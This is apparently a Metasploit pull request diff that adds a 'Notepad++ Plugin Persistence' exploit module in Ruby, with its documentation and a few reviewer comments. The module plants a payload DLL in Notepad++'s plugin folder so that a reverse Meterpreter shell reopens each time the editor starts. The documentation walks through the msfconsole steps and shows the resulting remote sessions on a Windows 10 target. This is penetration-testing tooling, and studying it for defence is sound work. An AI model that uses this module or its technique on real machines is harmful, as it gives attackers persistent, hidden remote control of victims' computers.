Skip to content
Merged
Show file tree
Hide file tree
Changes from 6 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,96 @@
## Vulnerable Application

This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and
executes DLL from its plugin directory on startup,meaning that the payload will be executed every time Notepad++ is launched.

The payload will have same privileges as user executing Notepad++.


## Verification Steps

1. Start msfconsole
1. Get a shell/meterpreter on a windows box
1. Do: `use exploit/windows/persistence/notepad++_persistence `
1. Do: `set session #`
1. Do: `run`
1. You should get persistence once the targeted application is open and closed.

## Options

### PAYLOAD_NAME

Name of the payload file. Defaults to `<random>.dll`

## Scenarios

### Windows 10

Original shell
```
[*] Starting persistent handler(s)...
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
LHOST => wg0
LPORT => 4242
[*] Started reverse TCP handler on 192.168.3.7:4242
[*] Meterpreter session 1 opened (192.168.3.7:4242 -> 10.5.134.148:49988) at 2025-11-12 16:24:53 +0100

meterpreter > getuid
Server username: WIN10_2004_8D28\Administrator
meterpreter > sysinfo
Computer : WIN10_2004_8D28
OS : Windows 10 2004 (10.0 Build 19041).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
```

Persistence
```
msf exploit(multi/handler) > use exploit/windows/persistence/notepadpp_plugin_persistence
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/persistence/notepadpp_plugin_persistence) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/persistence/notepadpp_plugin_persistence) > set session 1
session => 1
msf exploit(windows/persistence/notepadpp_plugin_persistence) > run verbose=true
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

msf exploit(windows/persistence/notepadpp_plugin_persistence) > [*] Started reverse TCP handler on 192.168.3.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Notepad++ present and plugin folder is writable
[+] Writing payload to C:\Program Files\Notepad++\plugins\JzHPoxkI\
[*] Payload (9216 bytes) uploaded on WIN10_2004_8D28 to C:\Program Files\Notepad++\plugins\JzHPoxkI\
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/WIN10_2004_8D28_20251112.2704/WIN10_2004_8D28_20251112.2704.rc
[*] Sending stage (230982 bytes) to 10.5.134.148
[*] Meterpreter session 2 opened (192.168.3.7:4444 -> 10.5.134.148:50011) at 2025-11-12 16:27:19 +0100
msf exploit(windows/persistence/notepadpp_plugin_persistence) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows WIN10_2004_8D28\Administrator @ WIN10_2004_8 192.168.3.7:4242 -> 10.5.134.148:49988 (10.5.
D28 134.148)
2 meterpreter x64/windows WIN10_2004_8D28\Administrator @ WIN10_2004_8 192.168.3.7:4444 -> 10.5.134.148:50011 (10.5.
D28 134.148)

msf exploit(windows/persistence/notepadpp_plugin_persistence) > sessions 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer : WIN10_2004_8D28
OS : Windows 10 2004 (10.0 Build 19041).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN10_2004_8D28\Administrator

```
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Notepad++ Plugin Persistence',
'Description' => %q{
This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and executes DLL from its plugin directory on startup, meaning that the payload will be executed every time Notepad++ is launched.
},
'License' => MSF_LICENSE,
'Author' => [ 'msutovsky-r7' ],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [
[ 'Automatic', {} ]
],
'DisclosureDate' => '2005-12-11', # plugins were added to Notepad++
'DefaultTarget' => 0,
'References' => [
['URL', 'https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
]
)
end

def get_plugin_dir
expand_path('%PROGRAMFILES%\\Notepad++\\plugins\\')
end

def check
@plugin_dir = get_plugin_dir
return CheckCode::Safe('Notepad++ is probably not present') unless directory?(@plugin_dir)

# borrowed from startup folder persistence
begin
# windows only ps payloads have writable? so try that first
return CheckCode::Safe("Unable to write to #{@plugin_dir}") unless writable?(@plugin_dir)
rescue RuntimeError
filename = @plugin_dir + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
write_file(filename, '')
if exists? filename
rm_f(filename)
else
return CheckCode::Safe("Unable to write to #{@plugin_dir}")
end
end

CheckCode::Vulnerable('Notepad++ present and plugin folder is writable')
end

def install_persistence
@plugin_dir ||= get_plugin_dir

payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
payload_pathname = @plugin_dir + payload_name + '\\'
payload_exe = generate_payload_dll({ dll_exitprocess: true })

vprint_good("Writing payload to #{payload_pathname}")
if session.type == 'meterpreter'
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname)
else
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless cmd_exec("mkdir \"#{payload_pathname}\"")
end

fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + '.dll', payload_exe)

I think payload_pathname already includes payload_name

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah it does, but the module creates plugin subdirectory called payload_name and it creates payload_name.dll inside that new subdirectory


vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")
@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What if payload_pathname contains "?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have a new API for handling this type of thing, it could be used here https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/base/sessions/windows_escaping.rb#L38

end
end